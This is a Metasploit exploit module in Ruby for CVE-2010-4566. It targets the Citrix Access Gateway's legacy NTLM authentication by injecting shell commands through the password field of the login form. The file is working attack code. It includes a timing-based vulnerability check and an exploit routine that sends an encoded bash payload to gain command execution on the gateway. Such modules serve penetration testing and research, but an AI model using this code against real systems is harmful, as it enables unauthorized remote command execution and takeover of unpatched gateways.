111 lines
3.0 KiB
Ruby
111 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Citrix Access Gateway Command Execution',
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'Description' => %q{
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The Citrix Access Gateway provides support for multiple authentication types.
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When utilizing the external legacy NTLM authentication module known as
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ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
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line utility to verify a user's identity and password. By embedding shell
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metacharacters in the web authentication form it is possible to execute
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arbitrary commands on the Access Gateway.
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},
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'Author' =>
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[
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'George D. Gal', # Original advisory
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'Erwin Paternotte', # Exploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-4566' ],
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[ 'OSVDB', '70099' ],
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[ 'BID', '45402' ],
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[ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 127,
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd cmd_bash',
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#'RequiredCmd' => 'generic telnet bash-tcp'
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}
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},
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'DefaultOptions' =>
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{
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'WfsDelay' => 30
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},
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'Platform' => [ 'unix' ],
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'Automatic', { }]],
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'DisclosureDate' => 'Dec 21 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(443),
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OptBool.new('SSL', [ true, 'Use SSL', true ]),
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], self.class)
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end
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def post(command, background)
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username = rand_text_alphanumeric(20)
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if background
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sploit = Rex::Text.uri_encode('|' + command + '&')
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else
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sploit = Rex::Text.uri_encode('|' + command)
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end
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data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username="
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data << username
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data << "&password="
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data << sploit
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res = send_request_cgi({
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'uri' => '/',
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'method' => 'POST',
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'data' => data
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}, 25)
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end
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def check
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print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")
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# Try running/timing 'ping localhost' to determine is system is vulnerable
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start = Time.now
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post("ping -c 10 127.0.0.1", false)
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elapsed = Time.now - start
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if elapsed >= 3
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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cmd = payload.encoded
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if not post(cmd, true)
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fail_with(Failure::Unknown, "Unable to execute the desired command")
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end
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end
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end
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